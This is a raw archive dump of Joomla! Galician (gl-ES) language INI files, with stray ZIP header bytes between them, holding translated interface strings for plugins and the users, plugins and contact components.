              <hr class=\"_QQ_\"system-pagebreak\"_QQ_\" alt=\"_QQ_\"The first page\"_QQ_\" /> or
              <hr class=\"_QQ_\"system-pagebreak\"_QQ_\" title=\"_QQ_\"The page title\"_QQ_\" alt=\"_QQ_\"The first page\"_QQ_\" /> or
              <hr class=\"_QQ_\"system-pagebreak\"_QQ_\" alt=\"_QQ_\"The first page\"_QQ_\" title=\"_QQ_\"The page title\"_QQ_\" />" PK@y>\ 6language/gl-ES/gl-ES.plg_authentication_joomla.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_AUTH_JOOMLA_XML_DESCRIPTION="Manexa a autenticación predeterminada dos usuarios do Joomla!
              Aviso! ten que ter polo menos un engadido de autenticación activado ou perderá o acceso a todo o seu sitio." PLG_AUTHENTICATION_JOOMLA="Autenticación - Joomla" PK@y>\3e+language/gl-ES/gl-ES.plg_system_sef.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_SEF_XML_DESCRIPTION="Engade compatibilidade SEF ás ligazóns de documento. Opera directamente sobre o código HTML e non require unha etiqueta especial." PLG_SYSTEM_SEF="Sistema - SEF" PK@y>\r3SS+language/gl-ES/gl-ES.plg_system_log.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_LOG_XML_DESCRIPTION="Fornece o rexistro de usuarios no sistema" PLG_SYSTEM_LOG="Sistema - Rexistro" PK@y>\D D $language/gl-ES/gl-ES.com_plugins.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_PLUGINS="Xestor de engadidos" COM_PLUGINS_ADVANCED_FIELDSET_LABEL="Opcións avanzadas" COM_PLUGINS_BASIC_FIELDSET_LABEL="Opcións básicas" COM_PLUGINS_CONFIGURATION="Opcións de xestor de engadidos" COM_PLUGINS_ELEMENT_HEADING="Elemento" COM_PLUGINS_ERROR_FILE_NOT_FOUND="O ficheiro %s non foi atopado." COM_PLUGINS_FIELD_ELEMENT_DESC="Cartafol do engadido e nome do ficheiro principal" COM_PLUGINS_FIELD_ELEMENT_LABEL="Ficheiro de engadido" COM_PLUGINS_FIELD_ENABLED_DESC="O estado de activación de este engadido" COM_PLUGINS_FIELD_FOLDER_DESC="Categoría/cartafol ao que este engadido pertence." COM_PLUGINS_FIELD_FOLDER_LABEL="Tipo de engadido" COM_PLUGINS_FIELD_NAME_DESC="O nome do engadido tal como é definido no seu ficheiro XML" COM_PLUGINS_FIELD_NAME_LABEL="Nome do engadido" COM_PLUGINS_FOLDER_HEADING="Tipo" COM_PLUGINS_MANAGER_PLUGIN="Xestor de engadidos: %s" COM_PLUGINS_MANAGER_PLUGINS="Xestor de engadidos: Engadidos" COM_PLUGINS_MSG_MANAGE_NO_PLUGINS="Non hai engadidos instalados que coincida coa procura" COM_PLUGINS_N_ITEMS_CHECKED_IN_0="Ningún engadido validado con éxito" COM_PLUGINS_N_ITEMS_CHECKED_IN_1="%d engadido validado con éxito" COM_PLUGINS_N_ITEMS_CHECKED_IN_MORE="%d engadidos validados con éxito" COM_PLUGINS_N_ITEMS_PUBLISHED="%d engadidos activados con éxito" COM_PLUGINS_N_ITEMS_PUBLISHED_1="Engadido activado con éxito" COM_PLUGINS_N_ITEMS_UNPUBLISHED="%d engadidos desactivados con éxito" COM_PLUGINS_N_ITEMS_UNPUBLISHED_1="Engadido desactivado con éxito" COM_PLUGINS_NAME_HEADING="Nome do engadido" COM_PLUGINS_NO_ITEM_SELECTED="Ningún engadido escollido" COM_PLUGINS_OPTION_FOLDER="- Escoller tipo -" COM_PLUGINS_SAVE_SUCCESS="Engadido gardado con éxito" COM_PLUGINS_SEARCH_IN_TITLE="Procurar no título de engadido" COM_PLUGINS_XML_DESCRIPTION="Este compoñente xestiona os engadidos Joomla!" COM_PLUGINS_XML_ERR="Os datos XML dos engadidos non están dispoñíbeis" JLIB_HTML_PUBLISH_ITEM="Activar engadido" JLIB_HTML_UNPUBLISH_ITEM="Desactivar engadido" JLIB_RULES_SETTING_NOTES="1. Se muda a configuración, esta aplicarase a este compoñente. Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." PK@y>\S 'MM"language/gl-ES/gl-ES.com_users.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_USERS_OPTION_FILTER_DATE="- Data de rexistro -" COM_USERS_OPTION_RANGE_PAST_1MONTH="no último mes" COM_USERS_OPTION_RANGE_PAST_3MONTH="nos últimos 3 meses" COM_USERS_OPTION_RANGE_PAST_6MONTH="nos últimos 6 meses" COM_USERS_OPTION_RANGE_PAST_WEEK="na última semana" COM_USERS_OPTION_RANGE_PAST_YEAR="no último ano" COM_USERS_OPTION_RANGE_POST_YEAR="hai máis dun ano" COM_USERS_OPTION_RANGE_TODAY="hoxe" COM_USERS="Xestor de usuarios" COM_USERS_ACTIONS_AVAILABLE="Accións permitidas" COM_USERS_ACTIVATED="Activado" COM_USERS_ADD_NOTE="Engadir unha nota" COM_USERS_ASSIGNED_GROUPS="Grupos de usuario asignados" COM_USERS_BATCH_ADD="Engadir ao grupo" COM_USERS_BATCH_DELETE="Eliminar do grupo" COM_USERS_BATCH_GROUP="Seleccionar un grupo" COM_USERS_BATCH_OPTIONS="Procesar por lotes os usuarios seleccionados" COM_USERS_BATCH_SET="Inserir no grupo" COM_USERS_CATEGORY_HEADING="Categoría" COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_DESC="Activar/Desactivar a posibilidade de rexistro automático no sitio." COM_USERS_CONFIG_FIELD_ALLOWREGISTRATION_LABEL="Permitir o rexistro de novos usuarios" COM_USERS_CONFIG_FIELD_CAPTCHA_DESC="Escolla o engadido captcha que será usado nos formularios de rexistro e recordatorio de clave e nome de usuario. Isto pode precisar inserir información requirida polo engadido captcha no xestor de engadidos.
              Se escolle 'Usar predeterminado', asegúrese de que o engadido captcha está seleccionado na configuración global. " COM_USERS_CONFIG_FIELD_CAPTCHA_LABEL="Captcha" COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_DESC="Permitir aos usuarios cambiar o seu nome de usuario cando modifican seu perfil." COM_USERS_CONFIG_FIELD_CHANGEUSERNAME_LABEL="Cambiar nome de usuario" COM_USERS_CONFIG_FIELD_FRONTEND_LANG_DESC="Se os 'Parámetros de usuario da portada' están establecidos a 'Amosar', os usuarios poderán escoller a súa preferencia de idioma da portada cando se rexistren.
              Isto é especialmente útil en sitios multiidioma." COM_USERS_CONFIG_FIELD_FRONTEND_LANG_LABEL="Idioma da portada" COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_DESC="O número máximo de veces que se pode redefinir a clave no período de tempo. Cero indica que non hai límite." COM_USERS_CONFIG_FIELD_FRONTEND_RESET_COUNT_LABEL="Conta do número máximo de veces que se pode redefine a clave" COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_DESC="Período de tempo, en horas, para a conta de redefinición da clave." COM_USERS_CONFIG_FIELD_FRONTEND_RESET_TIME_LABEL="Tempo en horas" COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_DESC="Se a opción é 'Amosar', os usuarios despois de identificarse na portada, poderán escoller as súas preferencias para o idioma, editor e sitio de axuda desde o seu perfil." COM_USERS_CONFIG_FIELD_FRONTEND_USERPARAMS_LABEL="Parámetros de usuario da portada (sitio)" COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_DESC="O grupo predeterminado que será aplicado aos usuarios convidados (non identificados)." COM_USERS_CONFIG_FIELD_GUEST_USER_GROUP_LABEL="Grupo de usuarios invitados" COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_DESC="Este contido engádese despois do texto da mensaxe." COM_USERS_CONFIG_FIELD_MAILBODY_SUFFIX_LABEL="Sufixo do contido da mensaxe" COM_USERS_CONFIG_FIELD_MAILTOADMIN_DESC="Se a 'Activación de contas de novo usuario' está estabelecida a 'Ningún' ou 'Propio', permite ou non enviar un correo de notificación aos administradores." COM_USERS_CONFIG_FIELD_MAILTOADMIN_LABEL="Correo de notificación para administradores" COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_DESC="O valor predeterminado do grupo a aplicar aos novos usuarios rexistrados a través da portada do sitio." COM_USERS_CONFIG_FIELD_NEW_USER_TYPE_LABEL="Grupo para novos usuarios rexistrados" COM_USERS_CONFIG_FIELD_SENDPASSWORD_LABEL="Enviar clave" COM_USERS_CONFIG_FIELD_SENDPASSWORD_DESC="Se activa a clave inicial de usuario seralle enviada a si mesmo como parte do correo de rexistro." COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_DESC="Este prefixo engádese ao asunto de cada mensaxe." COM_USERS_CONFIG_FIELD_SUBJECT_PREFIX_LABEL="Prefixo de asunto" COM_USERS_CONFIG_FIELD_USERACTIVATION_DESC="Se se define como Ningún, o usuario será rexistrado inmediatamente. Se se define como Auto activación, enviaráselle ao usuario un correo cunha ligazón para activar a súa conta antes de poder identificarse. Se se define como Administrador, enviaráselle ao usuario un correo cunha ligazón para verificar a súa conta de correo, logo o administrador será notificado para activar a conta do novo usuario." COM_USERS_CONFIG_FIELD_USERACTIVATION_LABEL="Activación da conta do novo usuario" COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_ADMINACTIVATION="Administrador" COM_USERS_CONFIG_FIELD_USERACTIVATION_OPTION_SELFACTIVATION="Auto activación" COM_USERS_CONFIG_IMPORT_FAILED="Atopouse un erro ao importar a configuración: %s." COM_USERS_CONFIG_SAVE_FAILED="Atopouse un erro ao gardar a configuración: %s." COM_USERS_CONFIGURATION="Configuración de usuarios" COM_USERS_DEBUG_EXPLICIT_ALLOW="[ %s ] Permitido" COM_USERS_DEBUG_EXPLICIT_DENY="[ %s ] Prohibido" COM_USERS_DEBUG_GROUP="Informe de depuración de permisos" COM_USERS_DEBUG_IMPLICIT_DENY="[ %s ] Non permitido" COM_USERS_DEBUG_LEGEND="Lenda:" COM_USERS_DEBUG_NO_CHECK="[   ] Non aplicábel" COM_USERS_DEBUG_USER="Informe de depuración de permisos" COM_USERS_DELETE_ERROR_INVALID_GROUP="No pode eliminar grupos de usuarios aos que pertence." COM_USERS_EDIT_NOTE_N="Modificando a nota co ID #%d" COM_USERS_EDIT_USER="Modificar usuario %s" COM_USERS_EMPTY_REVIEW="-" COM_USERS_EMPTY_SUBJECT="- Sen asunto -" COM_USERS_ERROR_INVALID_GROUP="Grupo non válido" COM_USERS_ERROR_LEVELS_NOLEVELS_SELECTED="Ningún nivel de acceso seleccionado." COM_USERS_ERROR_NO_ADDITIONS="Os usuarios seleccionados xa están asignados ao grupo escollido." COM_USERS_ERROR_VIEW_LEVEL_IN_USE="Non é posíbel eliminar o nivel de acceso '%d: %s' porque está a ser empregado no contido." COM_USERS_FIELD_CATEGORY_ID_LABEL="Categoría" COM_USERS_FIELD_ID_LABEL="ID" COM_USERS_FIELD_NOTEBODY_DESC="Nota" COM_USERS_FIELD_NOTEBODY_LABEL="Nota" COM_USERS_FIELD_REVIEW_TIME_DESC="O tempo de revisión é un tempo inserido manualmente que pode usar para axustar o fluxo de traballo. Exemplos serían asignar unha data de revisión a un usuario ou as próxima revisión a ser feita." COM_USERS_FIELD_REVIEW_TIME_LABEL="Tempo de revisión" COM_USERS_FIELD_STATE_DESC="Asigne o estado da publicación." COM_USERS_FIELD_SUBJECT_DESC="Liña de asunto da nota" COM_USERS_FIELD_SUBJECT_LABEL="Asunto" COM_USERS_FIELD_USER_ID_LABEL="ID" COM_USERS_FILTER_ACTIVE="- Activo -" COM_USERS_FILTER_LABEL="Filtrar usuarios por: " COM_USERS_FILTER_NOTES="Amosar lista de notas deste usuario" COM_USERS_FILTER_STATE="- Estado -" COM_USERS_FILTER_USER_GROUP="Filtrar grupo de usuarios" COM_USERS_FILTER_USERGROUP="- Grupo -" COM_USERS_GROUP_FIELD_PARENT_DESC="Escolla un grupo pai para este grupo." COM_USERS_GROUP_FIELD_PARENT_LABEL="Grupo pai" COM_USERS_GROUP_FIELD_TITLE_DESC="Insira un título para este grupo." COM_USERS_GROUP_FIELD_TITLE_LABEL="Título do grupo" COM_USERS_GROUP_SAVE_SUCCESS="O grupo gardouse con éxito" COM_USERS_GROUPS_CONFIRM_DELETE="Está seguro de que desexa eliminar os grupos que teñen usuarios?" COM_USERS_GROUPS_N_ITEMS_DELETED="%d Grupos de usuarios eliminados con éxito" COM_USERS_GROUPS_N_ITEMS_DELETED_1="Un grupo de usuarios borrado con éxito" COM_USERS_GROUPS_NO_ITEM_SELECTED="Ningún grupo de usuarios seleccionado" COM_USERS_HEADING_ACTIVATED="Activado" COM_USERS_HEADING_ASSET_NAME="Nome activo" COM_USERS_HEADING_ASSET_TITLE="Título activo" COM_USERS_HEADING_ENABLED="Activado" COM_USERS_HEADING_GROUP_TITLE="Título do grupo" COM_USERS_HEADING_GROUPS="Grupos de usuarios" COM_USERS_HEADING_LAST_VISIT_DATE="Data da última visita" COM_USERS_HEADING_LEVEL_NAME="Nome do nivel" COM_USERS_HEADING_LFT="LFT" COM_USERS_HEADING_NAME="Nome" COM_USERS_HEADING_REGISTRATION_DATE="Data de rexistro" COM_USERS_HEADING_USERS_IN_GROUP="Usuarios no grupo" COM_USERS_LEVEL_DETAILS="Detalles sobre o nivel de acceso" COM_USERS_LEVEL_FIELD_TITLE_DESC="Insira un título para este nivel de acceso." COM_USERS_LEVEL_FIELD_TITLE_LABEL="Título do nivel" COM_USERS_LEVEL_HEADER_ERROR="Erro na cabeceira do nivel de acceso" COM_USERS_LEVEL_SAVE_SUCCESS="O nivel de acceso gardouse con éxito" COM_USERS_LEVELS_N_ITEMS_DELETED="Elimináronse %d niveis de acceso con éxito" COM_USERS_LEVELS_N_ITEMS_DELETED_1="Eliminouse 1 nivel de acceso con éxito" COM_USERS_MAIL_DETAILS="Detalles" COM_USERS_MAIL_EMAIL_SENT_TO_N_USERS="Correo enviado a %s usuarios" COM_USERS_MAIL_EMAIL_SENT_TO_N_USERS_1="Correo enviado a un usuario" COM_USERS_MAIL_FIELD_EMAIL_DISABLED_USERS_DESC="Se está seleccionado, os usuarios desactivados incluiranse cando se envíen correos electrónicos" COM_USERS_MAIL_FIELD_EMAIL_DISABLED_USERS_LABEL="Enviar a usuarios desactivados" COM_USERS_MAIL_FIELD_GROUP_DESC="Escolla un grupo a enviar o correo electrónico." COM_USERS_MAIL_FIELD_GROUP_LABEL="Grupo:" COM_USERS_MAIL_FIELD_MESSAGE_DESC="Insira aquí unha mensaxe predeterminada" COM_USERS_MAIL_FIELD_MESSAGE_LABEL="Mensaxe" COM_USERS_MAIL_FIELD_RECURSE_DESC="Se marcado, o correo electrónico tamén será enviado a usuarios os cales son membros de calquera dos grupos fillos dos grupos seleccionados." COM_USERS_MAIL_FIELD_RECURSE_LABEL="Correo para os grupos de usuarios fillos:" COM_USERS_MAIL_FIELD_SEND_AS_BLIND_CARBON_COPY_DESC="Agocha a lista de receptores e engade copia ao correo electrónico do sitio." COM_USERS_MAIL_FIELD_SEND_AS_BLIND_CARBON_COPY_LABEL="Destinatarios CCO:" COM_USERS_MAIL_FIELD_SEND_IN_HTML_MODE_DESC="Se marcado, o correo electrónico enviarase con etiquetas HTML. Do contrario será enviado en texto simple." COM_USERS_MAIL_FIELD_SEND_IN_HTML_MODE_LABEL="Enviar en modo HTML:" COM_USERS_MAIL_FIELD_SUBJECT_DESC="Insira o asunto do correo" COM_USERS_MAIL_FIELD_SUBJECT_LABEL="Asunto" COM_USERS_MAIL_FIELD_VALUE_ALL_USERS_GROUPS="Todos os grupos de usuarios" COM_USERS_MAIL_MESSAGE="Mensaxe" COM_USERS_MAIL_NO_USERS_COULD_BE_FOUND_IN_THIS_GROUP="Non se atoparon usuarios neste grupo." COM_USERS_MAIL_ONLY_YOU_COULD_BE_FOUND_IN_THIS_GROUP="Vostede é o único usuario neste grupo." COM_USERS_MAIL_PLEASE_FILL_IN_THE_FORM_CORRECTLY="Por favor, encha o formulario correctamente." COM_USERS_MAIL_PLEASE_FILL_IN_THE_MESSAGE="Insira unha mensaxe" COM_USERS_MAIL_PLEASE_FILL_IN_THE_SUBJECT="Insira un asunto" COM_USERS_MAIL_PLEASE_SELECT_A_GROUP="Escolla un grupo" COM_USERS_MAIL_THE_MAIL_COULD_NOT_BE_SENT="Non foi posíbel enviar o correo." COM_USERS_MASS_MAIL="Envío de correo masivo" COM_USERS_MASS_MAIL_DESC="Opcións do envío de correo masivo" COM_USERS_N_LEVELS_DELETED="%d niveis de acceso eliminados con éxito." COM_USERS_N_LEVELS_DELETED_0="Non hai acceso aos niveis eliminados." COM_USERS_N_LEVELS_DELETED_1="%d nivel de acceso eliminado con éxito." COM_USERS_N_USER_NOTES="Amosar %d notas" COM_USERS_N_USER_NOTES_1="Amosar %d nota" COM_USERS_N_USER_NOTES_0="Ningunha nota a amosar" COM_USERS_N_USERS_ACTIVATED="%s usuarios activados con éxito" COM_USERS_N_USERS_ACTIVATED_0="Ningún usuario activado" COM_USERS_N_USERS_ACTIVATED_1="Usuario activado con éxito" COM_USERS_N_USERS_BLOCKED="%s usuarios bloqueados" COM_USERS_N_USERS_BLOCKED_0="Ningún usuario bloqueado" COM_USERS_N_USERS_BLOCKED_1="Usuario bloqueado" COM_USERS_N_USERS_UNBLOCKED="%s usuarios activados" COM_USERS_N_USERS_UNBLOCKED_0="Ningún usuario activado" COM_USERS_N_USERS_UNBLOCKED_1="Usuario activado" COM_USERS_NEW_NOTE="Nova nota" COM_USERS_NO_NOTES="Ningunha nota dispoñíbel para este usuario." COM_USERS_NO_LEVELS_SELECTED="Ningún nivel de acceso escollido" COM_USERS_NOTE_N_SUBJECT="#%d %s" COM_USERS_NOTES="Notas" COM_USERS_NOTES_FOR_USER="Notas para o usuario %s (ID #%d)" COM_USERS_NOTES_N_ITEMS_ARCHIVED="%d notas de usuario arquivadas con éxito" COM_USERS_NOTES_N_ITEMS_ARCHIVED_1="%d nota de usuario arquivada con éxito" COM_USERS_NOTES_N_ITEMS_CHECKED_IN="%d notas de usuario destrabadas con éxito" COM_USERS_NOTES_N_ITEMS_CHECKED_IN_1="%d nota de usuario destrabada con éxito" COM_USERS_NOTES_N_ITEMS_DELETED="%d notas de usuario eliminadas con éxito" COM_USERS_NOTES_N_ITEMS_DELETED_1="%d nota de usuario eliminada con éxito" COM_USERS_NOTES_N_ITEMS_PUBLISHED="%d notas de usuario publicadas con éxito" COM_USERS_NOTES_N_ITEMS_PUBLISHED_1="%d nota de usuario publicada con éxito" COM_USERS_NOTES_N_ITEMS_TRASHED="%d notas de usuario enviadas ao lixo con éxito" COM_USERS_NOTES_N_ITEMS_TRASHED_1="%d nota de usuario enviada ao lixo con éxito" COM_USERS_NOTES_N_ITEMS_UNPUBLISHED="%d notas de usuario despublicadas con éxito" COM_USERS_NOTES_N_ITEMS_UNPUBLISHED_1="%d nota de usuario despublicada con éxito" COM_USERS_OPTION_LEVEL_CATEGORY="%d (categoría superior)" COM_USERS_OPTION_LEVEL_COMPONENT="%d (compoñente)" COM_USERS_OPTION_LEVEL_DEEPER="%d (deeper)" COM_USERS_OPTION_SELECT_COMPONENT="- Escoller compoñente -" COM_USERS_OPTION_SELECT_LEVEL_END="- Escoller nivel final -" COM_USERS_OPTION_SELECT_LEVEL_START="- Escoller nivel inicial -" COM_USERS_REVIEW_HEADING="Data de revisión" COM_USERS_SEARCH_ACCESS_LEVELS="Buscar niveis de acceso de visualización" COM_USERS_SEARCH_ASSETS="Buscar accións" COM_USERS_SEARCH_GROUPS_LABEL="Buscar grupos de usuarios" COM_USERS_SEARCH_IN_GROUPS="Buscar no título" COM_USERS_SEARCH_IN_NAME="Buscar no nome" COM_USERS_SEARCH_IN_NOTE_TITLE="Buscar no asunto das notas ou no nome de usuario" COM_USERS_SEARCH_TITLE_LEVELS="Buscar por nivel de acceso" COM_USERS_SEARCH_USERS="Buscar usuarios" COM_USERS_SETTINGS_FIELDSET_LABEL="Configuración básica" COM_USERS_SUBMENU_GROUPS="Grupos de usuarios" COM_USERS_SUBMENU_LEVELS="Niveis de acceso" COM_USERS_SUBMENU_NOTES="Notas de usuario" COM_USERS_SUBMENU_NOTE_CATEGORIES="Categorías de notas" COM_USERS_SUBMENU_USERS="Usuarios" COM_USERS_SUBJECT_HEADING="Asunto" COM_USERS_TOOLBAR_ACTIVATE="Activar" COM_USERS_TOOLBAR_BLOCK="Bloquear" COM_USERS_TOOLBAR_MAIL_SEND_MAIL="Enviar correo electrónico" COM_USERS_TOOLBAR_UNBLOCK="Desbloquear" COM_USERS_UNACTIVATED="Desactivar" COM_USERS_USER_ACCOUNT_DETAILS="Detalles da conta de usuario" COM_USERS_USER_BATCH_FAILED="Atopouse un erro ao realizar a operación por lotes: %s." COM_USERS_USER_BATCH_SUCCESS="A operación por lotes completouse con éxito." COM_USERS_USER_FIELD_BACKEND_LANGUAGE_DESC="Seleccione o idioma da interface de administración para este usuario." COM_USERS_USER_FIELD_BACKEND_LANGUAGE_LABEL="Idioma para a administración" COM_USERS_USER_FIELD_BACKEND_TEMPLATE_DESC="Seleccione o estilo do tema para a interfaz do panel de administración. Isto só terá efecto a este usuario." COM_USERS_USER_FIELD_BACKEND_TEMPLATE_LABEL="Estilo do tema do panel de administración" COM_USERS_USER_FIELD_BLOCK_DESC="Bloquear este usuario" COM_USERS_USER_FIELD_BLOCK_LABEL="Bloquear este usuario" COM_USERS_USER_FIELD_EDITOR_DESC="Editor do usuario" COM_USERS_USER_FIELD_EDITOR_LABEL="Editor" COM_USERS_USER_FIELD_EMAIL_DESC="Insira un correo electrónico para este usuario" COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_DESC="Seleccione o idioma da interface da portada para este usuario." COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_LABEL="Idioma da portada" COM_USERS_USER_FIELD_HELPSITE_DESC="Sitio de axuda para este usuario" COM_USERS_USER_FIELD_HELPSITE_LABEL="Sitio de axuda" COM_USERS_USER_FIELD_LASTRESET_DESC="Data e hora da ultima vez que se redefiniu a clave" COM_USERS_USER_FIELD_LASTRESET_LABEL="Data da ultima redefinición" COM_USERS_USER_FIELD_LASTVISIT_DESC="Data da última visita" COM_USERS_USER_FIELD_LASTVISIT_LABEL="Data da última visita" COM_USERS_USER_FIELD_NAME_DESC="Insira o nome do usuario" COM_USERS_USER_FIELD_NAME_LABEL="Nome" COM_USERS_USER_FIELD_PASSWORD2_DESC="Confirme a clave do usuario" COM_USERS_USER_FIELD_PASSWORD2_LABEL="Confirme a clave" COM_USERS_USER_FIELD_PASSWORD_DESC="Insira a clave para o usuario" COM_USERS_USER_FIELD_REGISTERDATE_DESC="Data de rexistro" COM_USERS_USER_FIELD_REGISTERDATE_LABEL="Data de rexistro" COM_USERS_USER_FIELD_RESETCOUNT_DESC="Número de redefinicións de clave desde a última data de redefinición" COM_USERS_USER_FIELD_RESETCOUNT_LABEL="Conta de redefinicións de clave" COM_USERS_USER_FIELD_SENDEMAIL_DESC="Activar/desactivar notificacións do sistema por correo electrónico." COM_USERS_USER_FIELD_SENDEMAIL_LABEL="Notificacións do sistema por correo electrónico" COM_USERS_USER_FIELD_TIMEZONE_DESC="Fuso horario para este usuario" COM_USERS_USER_FIELD_TIMEZONE_LABEL="Fuso horario" COM_USERS_USER_FIELD_USERNAME_DESC="Insira o nome de usuario para o usuario." COM_USERS_USER_FIELD_USERNAME_LABEL="Nome de usuario" COM_USERS_USER_GROUPS_HAVING_ACCESS="Grupos de usuario que teñen acceso" COM_USERS_USER_HEADING="Usuario" COM_USERS_USER_SAVE_FAILED="Atopouse un erro ao gardar o membro: %s." COM_USERS_USER_SAVE_SUCCESS="O usuario gardouse con éxito." COM_USERS_USERGROUP_DETAILS="Detalles do grupo de usuario" COM_USERS_USERS_ERROR_CANNOT_BLOCK_SELF="Non é posíbel bloquearse a si mesmo." COM_USERS_USERS_ERROR_CANNOT_DELETE_SELF="Non é posíbel borrarse a si mesmo." COM_USERS_USERS_ERROR_CANNOT_DEMOTE_SELF="Non pode eliminar os seus propios permisos de Súper Administrador." COM_USERS_USERS_MULTIPLE_GROUPS="Grupos múltiples" COM_USERS_USERS_N_ITEMS_DELETED="%d usuarios eliminados con éxito" COM_USERS_USERS_N_ITEMS_DELETED_1="Un usuario eliminado con éxito" COM_USERS_USERS_NO_ITEM_SELECTED="Ningún usuario escollido" COM_USERS_VIEW_DEBUG_GROUP_TITLE="Informe de depuración de permisos para o grupo #%d, %s" COM_USERS_VIEW_DEBUG_USER_TITLE="Informe de depuración de permisos para o usuario #%d, %s" COM_USERS_VIEW_EDIT_GROUP_TITLE="Xestor de usuarios: Modificar grupo" COM_USERS_VIEW_EDIT_LEVEL_TITLE="Xestor de usuarios: Modificar o nivel de acceso" COM_USERS_VIEW_EDIT_PROFILE_TITLE="Xestor de usuarios: Modificar perfil" COM_USERS_VIEW_EDIT_USER_TITLE="Xestor de usuarios: Modificar usuario" COM_USERS_VIEW_GROUPS_TITLE="Xestor de usuarios: Grupos de usuarios" COM_USERS_VIEW_LEVELS_TITLE="Xestor de usuarios: Niveis de acceso" COM_USERS_VIEW_NEW_GROUP_TITLE="Xestor de usuarios: Engadir un novo grupo de usuarios" COM_USERS_VIEW_NEW_LEVEL_TITLE="Xestor de usuarios: Engadir un novo nivel de acceso" COM_USERS_VIEW_NEW_USER_TITLE="Xestor de usuarios: Engadir un novo usuario" COM_USERS_VIEW_NOTES_TITLE="Notas de usuario" COM_USERS_VIEW_USERS_TITLE="Xestor de usuarios: Usuarios" COM_USERS_XML_DESCRIPTION="Compoñente para a xestión de usuarios" JLIB_RULES_SETTING_NOTES="1. Se muda a configuración, esta aplicarase a este compoñente. Nótese que:
              Herdado significa que serán utilizados os permisos da configuración global ou do grupo superior.
              Denegado significa que non importa o que a configuración global ou configuracións de grupo definan, o grupo que está a ser modificado non pode levar a cabo a acción neste compoñente.
              Permitido significa que o grupo que está a ser modificado será capaz de executar esta acción para este compoñente (pero se isto entra en conflito coa configuración global ou grupos superiores non terá efecto, indicarase un conflito non permitido (bloqueado) sobre as configuracións calculadas).
              2. Se escolle unha nova configuración, prema en gardar para actualizar a configuración calculada." PK@y>\aM  (language/gl-ES/gl-ES.com_contact.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONTACT="Contactos" COM_CONTACT_CATEGORIES="Categorías" COM_CONTACT_CATEGORIES_VIEW_DEFAULT_DESC="Amosar unha lista de categorías de contactos dentro dunha categoría." COM_CONTACT_CATEGORIES_VIEW_DEFAULT_OPTION="Predeterminado" COM_CONTACT_CATEGORIES_VIEW_DEFAULT_TITLE="Listaxe de todas as categorías dos contactos" COM_CONTACT_CATEGORY_ADD_TITLE="Xestor de categorías: Engadir unha nova categoría de contacto" COM_CONTACT_CATEGORY_EDIT_TITLE="Xestor de categorías: Modificar unha categoría de contacto" COM_CONTACT_CATEGORY_VIEW_DEFAULT_DESC="Esta vista lista os contactos nunha categoría." COM_CONTACT_CATEGORY_VIEW_DEFAULT_OPTION="Predeterminado" COM_CONTACT_CATEGORY_VIEW_DEFAULT_TITLE="Listaxe de contactos nunha categoría" COM_CONTACT_CONTACT_VIEW_DEFAULT_DESC="Isto crea unha ligazón á información correspondente ao contacto." COM_CONTACT_CONTACT_VIEW_DEFAULT_OPTION="Predeterminado" COM_CONTACT_CONTACT_VIEW_DEFAULT_TITLE="Contacto único" COM_CONTACT_FEATURED_VIEW_DEFAULT_DESC="Esta vista lista os contactos destacados." COM_CONTACT_FEATURED_VIEW_DEFAULT_OPTION="Predeterminado" COM_CONTACT_FEATURED_VIEW_DEFAULT_TITLE="Contactos destacados" COM_CONTACT_CONTACTS="Contactos" COM_CONTACT_XML_DESCRIPTION="Este compoñente amosa unha lista de información de contacto" PK@y>\W5)language/gl-ES/gl-ES.plg_system_cache.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CACHE_FIELD_BROWSERCACHE_DESC="Activar/Desactivar o almacenamento de páxinas na caché do navegador" PLG_CACHE_FIELD_BROWSERCACHE_LABEL="Usar a caché do navegador" PLG_CACHE_FIELD_LIFETIME_DESC="Duración da caché de páxina en minutos" PLG_CACHE_FIELD_LIFETIME_LABEL="Duración da cache" PLG_CACHE_XML_DESCRIPTION="Funcionalidade que permite o uso da caché de páxina" PLG_SYSTEM_CACHE="Sistema - Caché" 